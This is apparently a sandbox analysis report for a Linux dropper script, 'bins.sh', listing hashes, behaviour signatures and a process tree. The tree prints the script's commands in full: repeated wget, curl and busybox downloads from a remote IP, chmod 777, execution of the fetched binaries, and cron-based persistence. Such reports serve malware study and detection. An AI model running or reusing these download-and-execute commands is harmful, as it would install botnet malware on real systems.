Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 18:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    49ff6a2cb20564750a63b55e97d1ab33

  • SHA1

    002760981243e617f09aae9d51348ed8cbf15220

  • SHA256

    f591850528c073e92ddf0c7c9e15277c4a32c26150f5da11e7e7bad58514e7e1

  • SHA512

    a59a5dff228d17cc3f8997dc959386adf79208c4dc7b6f376792deb406e5da9b08090f94eba1dbd5d00356069bc5d4367403fe4fa24494b5d30167319b660b18

  • SSDEEP

    192:OH55kd4A2eVeyFjrUl/Cu1jrUg2eVz55kdl:OH55kd4A2ecyI/Cu32e555kdl

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1837) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          ./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            ./r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Executes dropped EXE
            PID:747
          • /bin/rm
            rm r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Writes file to tmp directory
              PID:751
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • File and Directory Permissions Modification
              PID:760
            • /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              ./gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Executes dropped EXE
              PID:762
            • /bin/rm
              rm gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
                PID:764
              • /usr/bin/wget
                wget http://87.120.84.230/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Writes file to tmp directory
                PID:776
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Writes file to tmp directory
                PID:787
              • /bin/chmod
                chmod 777 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • File and Directory Permissions Modification
                PID:792
              • /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                ./YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Executes dropped EXE
                PID:793
              • /bin/rm
                rm YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                  PID:796
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • Writes file to tmp directory
                  PID:797
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • Writes file to tmp directory
                  PID:811
                • /bin/chmod
                  chmod 777 qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • File and Directory Permissions Modification
                  PID:812
                • /tmp/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  ./qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • Executes dropped EXE
                  PID:813
                • /bin/rm
                  rm qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                    PID:815
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • Writes file to tmp directory
                    PID:816
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • Writes file to tmp directory
                    PID:817
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • Writes file to tmp directory
                    PID:828
                  • /bin/chmod
                    chmod 777 WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • File and Directory Permissions Modification
                    PID:834
                  • /tmp/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    ./WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:835
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:837
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:839
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:840
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:842
                        • /bin/rm
                          rm WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                          2⤵
                            PID:852
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                            2⤵
                              PID:939
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                              2⤵
                                PID:950
                              • /bin/busybox
                                /bin/busybox wget http://87.120.84.230/bins/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                2⤵
                                • Writes file to tmp directory
                                PID:952
                              • /bin/chmod
                                chmod 777 GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                2⤵
                                • File and Directory Permissions Modification
                                PID:958
                              • /tmp/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                ./GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                2⤵
                                • Executes dropped EXE
                                PID:959
                              • /bin/rm
                                rm GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                2⤵
                                  PID:961
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/8mdOtnbKWUwkHiHuaOmrcATAbdii7XdrLP
                                  2⤵
                                    PID:962

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq

                                  Filesize

                                  111KB

                                  MD5

                                  701e7a55a4f3650f5feee92a9860e5fc

                                  SHA1

                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                  SHA256

                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                  SHA512

                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /var/spool/cron/crontabs/tmp.IPZ2mH

                                  Filesize

                                  210B

                                  MD5

                                  8e21fbaa57d4989ae80c891aa75762ed

                                  SHA1

                                  c9e4126e2db49b1900ce38694e7c56484da6379c

                                  SHA256

                                  d01376342ac52b3fda48f397c981ba6bd23cd97ed7d7ce72f3dfd23b7987f392

                                  SHA512

                                  ca6d354ce40c9651c649f916bc2bdd4b97e173757df290970c56fd6bb58c0e2ab2934099b5ede846201c82ab460f720074a170fcade15c56155328ee01afdd6d